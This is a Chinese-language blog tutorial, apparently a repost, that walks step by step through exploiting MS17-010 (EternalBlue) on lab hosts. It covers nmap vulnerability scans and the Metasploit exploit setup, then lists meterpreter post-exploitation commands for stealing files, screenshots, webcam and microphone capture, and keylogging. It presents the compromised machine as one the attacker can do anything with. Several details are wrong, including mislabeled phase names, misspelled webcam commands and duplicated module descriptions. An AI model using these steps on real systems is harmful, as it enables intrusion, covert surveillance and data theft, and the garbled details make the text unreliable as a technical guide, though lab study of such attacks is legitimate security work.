黑客第二课:主机攻防演练【ms17-010永恒之蓝】

发布时间:2024年01月05日

主机攻防演练,就是模拟一些经典漏洞,也被人称作“打靶”

这里我以永恒之蓝,即ms17-010为例:

1.ms17-010(永恒之蓝) 漏洞复现与处理

文章目录
  • ms17-010(永恒之蓝) 漏洞复现与处理
    • 前言
    • 收集资产信息(Per-Engagement Interaction)
    • 威胁建模(Information Gathering)
    • 漏洞分析(Threat Modeling)
    • 渗透攻击(Vulnerability Analysis)
    • 后渗透攻击(Post Exploitation)
    • 报告阶段

前言

ms17_010 是一种操作系统漏洞,仅影响 Windows 系统中的 SMBv1 服务。这个漏洞是由于 SMBv1 内核函数中的缓冲区溢出而导致的。攻击者可以通过该漏洞控制目标系统,并执行任意代码。这个漏洞通过 445 文件共享端口进行利用,一旦攻击者成功利用该漏洞,就可以在目标主机上植入各种恶意软件,如勒索软件。最近出现的 WannaCry 勒索软件就使用 ms17_010 漏洞来传播和植入勒索代码,将目标系统中的所有文件加密并威胁用户付款。由于该漏洞易受攻击,且已经公开和广泛利用,因此建议 Windows 系统用户及时进行安全更新以避免被攻击。对于其渗透测试相关应用,可以使用 Metasploit 和其他渗透测试框架进行利用和测试。今天就以该漏洞,作为我渗透学习的,第一次实例学习。

收集资产信息(Per-Engagement Interaction)

首先用nmap工具 收集该网络所有网络设备信息,从中找出可能带有漏洞的设备

请添加图片描述

以上信息可以看出该网段中我们可以看出

ip尾号:134、136开启了445、139等端口,可能存在ms17_010漏洞

使用nmap深入扫描

nmap -A -sS -sV

-A为深度强力扫描能扫出是什么系统耗时较长,

-sS 为TCP连接中的SYN扫描,找出该主机已经连接的tcp服务 ,

-sV 为端口上的服务版本扫描

nmap更深层次的用法 是用脚本扫描使用 –script= 来表示,=后面写脚本名。vnln是直接对漏洞进行了扫描

nmap --script=vuln -A -sV -O

现在我们是要查目标网段是否存在ms17_010漏洞,所以我们使用 –script=vuln 加ip -A -sV来扫描以上两台主机,具体查一查它们究竟有没有ms17_010漏洞

image-20230605153455395

该条列出了192.168.30.134主机系统的详细情况和存在的漏洞情况,

文档中指出该系统为windows server 2008 R2 系统
开启DNS服务版本号为6.1.7601
IIS服务版本号为httpd7.5
我们和该系统的距离是1(以路由器为单位,距离1代表它就是我们的下一站)
以及该主机的MAC物理地址。
并把该系统的已用的TCP端口全部都暴露出来包括客户端端口

发现了ms17_010漏洞。

请添加图片描述

该条记录中则描述了192.168.30.136主机系统的详细情况和存在的漏洞情况,

从该记录中我们可以看出,它是一个windows 7系统版本是2008|8.1版本,存在着ftp、PRC、NETBIOS、SMB等服务,同时它也存在着ms17_010漏洞

此时我们的信息资产收集已经完成,针对该信息资产开始下一步的渗透流程。

威胁建模(Information Gathering)

在该阶段我们需要利用到Metasploit工具,Metasploit是一个非常强大的工具,同时它也是一款开源的软件,开源就意味着可以免费使用,它可以执行广泛的安全测试任务,简化了渗透的工作,它可以在windows、linux和Mac三端使用。

在使用这款软件前我们先熟悉一下它的专业术语

  1. Exploit: 指针对漏洞的攻击代码,用来利用目标计算机系统的弱点,以获取控制权或执行任意代码的权力。

  2. Payload: 指在攻击被成功执行后要运行的代码,可以是以个后门、恶意软件或命令控制器等。

  3. Vulnerability: 表示存在的漏洞或弱点,可能被攻击者利用

  4. Module: 指metasploit框架中的代码模块,用于执行各种功能,如扫描、攻击、后渗透等。

  5. Encoder: 指对已存在的payload进行加密以逃避防护或检测。

  6. Auxiliary: 指matesploit编写的相关辅助扫描模块,如MYSQL扫描、SMB枚举等

  7. Post-exploitation: 指攻击成功后继续扩大入侵行为,如收集密码、监听网络流量等

  8. metepreter: 是Metasploit框架中最常用的shell,可以提供完整的控制台,具有很强的功能。

  9. Session: 表示目标计算机建立的会话,可以访问受攻击计算机的资源和数据

  10. Listener:指Metasploit框架用于监听反向shell或payload连接的组件

以上只是对matesploit简要的介绍了常用的专业术语,如果要详细了解这一工具还需要不断的学习。

接下来我们就要使用该工具,进行建模,在该工具去查找ms17_010的相关漏洞模块惊醒攻击

首先我们先进入到matesploit工具中,在kali系统用我们可以使用msfconsole进入msf控制台

msfconsole

请添加图片描述

该工具有一个特点,每一次进入它的图像都会不一样(我进了10几次,每次都不一样不知道以后会不会有重复的)。

到这里我们就可以开始进行漏洞查找了,使用命令search

search ms17_010

image-20230605163246900

在此我们可以看到有4个选项它们分别是对应ms17_010的漏洞模块:

  1. exploit/windows/smb/ms17_010_eternalblue
    该模块用于利用MS17-010漏洞实现远程执行代码,可以覆盖掉目标计算机的内存地址,从而实现攻击者的恶意代码在被攻击计算机上的执行。

  2. exploit/windows/smb/ms17_010_psexec

    该模块使用PsExec登录到目标计算机的系统帐(NTAUTHORITY\SYSTEM)并实现命令执行,需要在目标计算机上存在管理共享。这个模块和上面的模块一样是利用MS17-010漏洞。

  3. auxiliary/admin/smb/ms17_010_command

    该模块用于发现被漏洞影响的 Windows主机,以及执行命令,可以通过提供的选项进行数据包分析,或可选通道溢出使用,以获得远程命令执行的权限。

  4. auxiliary/scanner/smb/smb_ms17_010

    该模块用于发现被漏洞影响的 Windows主机,以及执行命令,可以通过提供的选项进行数据包分析,或可选通道溢出使用,以获得远程命令执行的权限。

exploit为攻击模块

auxiliary为辅助扫描模块

大家注意到这个表格中的属性一共有5项,、

  • name:代表名字

  • disclosure:表示披露的时间

  • Rank : 表示模块的可靠性分别对应四级

    • “Excellent”:表示该模块的效果非常好,准确率较高,而且测试情况较广泛,被认为是最可靠的模块。
    • “Great”:表示该模块效果不错,准确率较高,但测试情况可能较少,被认为是比较可靠的模块。
    • “Normal”:表示该模块效果一般,测试手段较单一,存在一定漏洞,可靠性较差。
    • “Average”:表示该模块的效果一般,测试情况较少,被认为是比较不可靠的模块。
  • Check: 指的是该模块是否支持漏洞检测。

    • 模块的check 为yes,那么使用该模块可以先检测目标主机是否存在漏洞,以避免不必要的攻击,
    • 模块check 为No,它就只能用于攻击或者利用漏洞,使用此类模块时需格外小心,避免造成不必要的损失

? Description:它是描述漏洞或者模块的详细介绍。

以上我们粗略的了解了模块的相关属性。

现在威胁模型基本已经完成,我们已经找到该漏洞的相关模块,接下来就是分析验证主机内是否真的存在漏洞。

请添加图片描述

漏洞分析(Threat Modeling)

在此阶段我们选择辅助扫描模块,对漏洞进行进一步的确认。

输入命令

use 2

use auxiliary/admin/smb/ms17_010_command 

进入3号辅助扫描模块

请添加图片描述

然后查看模块配置,把相关重要配置补充使用命令

show options

请添加图片描述

rhosts 是被攻击方的IP 一定要设置,不设置这个谁都攻击不了😒

接下来我们来设置rhosts,输入命令

set rhosts 被攻击方IP(靶机)

请添加图片描述

此时我们就可以开始运行模块,愉快的检测扫描了🤣

请添加图片描述

请添加图片描述

经过重新的扫描检测,最终确认134、136两台主机都存在ms17_010漏洞😍

准备工作都做完了,接下来我们就可以开始正式的渗透攻击了。

渗透攻击(Vulnerability Analysis)

到了渗透攻击这一阶段,首先我们要吧matesploit模块切换到攻击模块(exploit)

请添加图片描述

使用命令

use 0

并重新设置show options.里面的rhosts

set RHOSTS 被攻击方IP(靶机IP)

还有本地IP LHOST也要设置,LHOST是攻击者和受害者之间连接必须要设置的,没有正确的设置可能会导致攻击失败,甚至暴露攻击者IP和位置信息。一般在工具里都会默认设置为本机地址。

set LHOST 攻击方IP	

请添加图片描述

接下来就准备攻击,攻击就是启动攻击模块命令为:

run 

请添加图片描述

看到Win 就代表我们成功了,现在我们已经渗透成功了,接下来就是后续的攻击了

后渗透攻击(Post Exploitation)

当我们渗透攻击成功后,可以做的事情就多了,例如:打开被攻击方的摄像头、查看被攻击方的绝密资料、操控被攻击方的计算机,总而言之,攻破以后被攻击方的电脑就是你的后花园,你想干嘛就干嘛。接下来我们看看具体实现这些操作的命令。

  1. 网络命令

    ifconfig
    
    

    查看靶机的ip和网卡相关信息

    image-20230605183502191

    你可以在这里查看该主机是否还有其他网卡,能否通过它继续深入渗透。

    arp
    
    

    查看靶机的arp表

    请添加图片描述

    arp协议是一个非常重要的网络层协议之一,有了这张表就可以清楚的知道该主机和那些主机有过连接,如果针对攻击,也可以导致对方网络瘫痪。

    netstat
    
    

    这个协议可以查看所有传输层的连接,TCP、UDP都可以查看。

    请添加图片描述

    在这里可以查出所有和靶机有连接的程序,也是一个非常重要的表项

  2. 文件操作命令

    upload 
    
    

    上传文件

    download
    
    

    下载文件

    请添加图片描述

    通过这两条命令,可以轻松的窃取主机数据资源。还有其他像cd、pwd、ls等命令基本和linux或windows指令相同,可以照搬使用

  3. 截图和摄像头命令

    screenshot
    
    

    截图指令

    请添加图片描述

    截取靶机正在运行的界面截图,使用得当也是具有非常大的破坏力。

    webcom_list	
    
    

    查看摄像头列表

    webcom_stream
    
    

    使用摄像头进行录像

    webcom_snap
    
    

    使用摄像头进行拍照

    妥妥的个人隐私的暴露,摄像头为什么不安全,我想大家现在应该都明白了吧。

    由于本人设备没有摄像头就不在进行截图演示了,有想法的朋友可以自己试试。

    record_mic
    
    

    环境监听

    image-20230605190056444

    视频都有了,那声音的出现我也不意外,只是感慨电脑原来这么不安全。

    由于本人设备没有mic(麦克风),所以报错了,,

    keyscan_start
    
    

    获取键盘记录

     keyscan_dump
    
    

    转换为字符

    说到这里,我想到的就是木马,在以前木马就是截取了键盘敲击几率实现盗号灯操作。

? 被渗透后的计算机真的是太可怕了,隐私毫无保留,而且我们什么都不知道,人家都是在悄无声息的观察你的生活,窃取你的重要数据,在这里我只说了一小部分命令,还有更多,隐藏更深,破坏力更大的命令我没有说,永恒之蓝为什么能这么霸道,这就是它的底气。

报告阶段

今日认认真真的对ms17_010漏洞彻彻底底的学习了一遍,熟悉了Nmap、matesploit等工具的使用,并在本地实际的操作了一番,当我操作完成后,更加的感觉网络的可怕,如果没有网安人员为我们保驾护航,我们几乎就是全身赤裸的,暴露在这片广域的网络海洋中。至此也更加强了,我对网络安全学习的欲望,每一次查阅资料、敲击指令,我几乎都感觉不到时间的流动,我只感觉是一瞬间的就到了晚上了。现总结今天我收获的知识。

  • . 在做渗透测试需要有7个阶段

    1. 前期交互阶段:

      • 主要收集目标需求、准备渗透计划、定义渗透的范围边界、规划渗透流程
    2. 情报收集阶段:

      • 利用各种技术手段,收集渗透目标的信息资产,越全面越容易渗透成功
    3. 威胁建模阶段:

      • 在收集到足够的渗透目标信息资产之后,对渗透的目标开始建立渗透模型,需要解决的问题是如何达成渗透目的
    4. 漏洞分析阶段:

      • 在确定了攻击模型后,我们对渗透目标的漏洞进一步的分析确认,确认渗透目标的可操作性,找出真正的攻击点,如何绕过检测、防火墙等防护设备。
    5. 渗透攻击阶段:

      • 此阶段就是实质性的入侵进系统,获取系统的访问权,它是整个渗透过程的核心。
    6. 后渗透攻击阶段

      • 在这个阶段是最能体现技术的阶段,几乎所有的攻击行为都是在这一阶段展开进行,获取目标系统权限、窃取资源、窃听目标主机网络流量等一些操作都是渗透技术的精髓所在。
    7. 报告阶段

      • 总结渗透的过程,存在了哪些漏洞,这些漏洞又要怎么去修复,分析防御体系中存在的薄弱点,需要如何去防范。它就是整个渗透过程的总结。

:黑客&网络安全的SQL攻防

在这里领取:

在这里插入图片描述

这个是我花了几天几夜自整理的最新最全网安学习资料包免费共享给你们,其中包含以下东西:

1.学习路线&职业规划

在这里插入图片描述
在这里插入图片描述

2.全套体系课&入门到精通

在这里插入图片描述

3.黑客电子书&面试资料

在这里插入图片描述

文章来源:https://blog.csdn.net/shangguanliubei/article/details/135402315
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。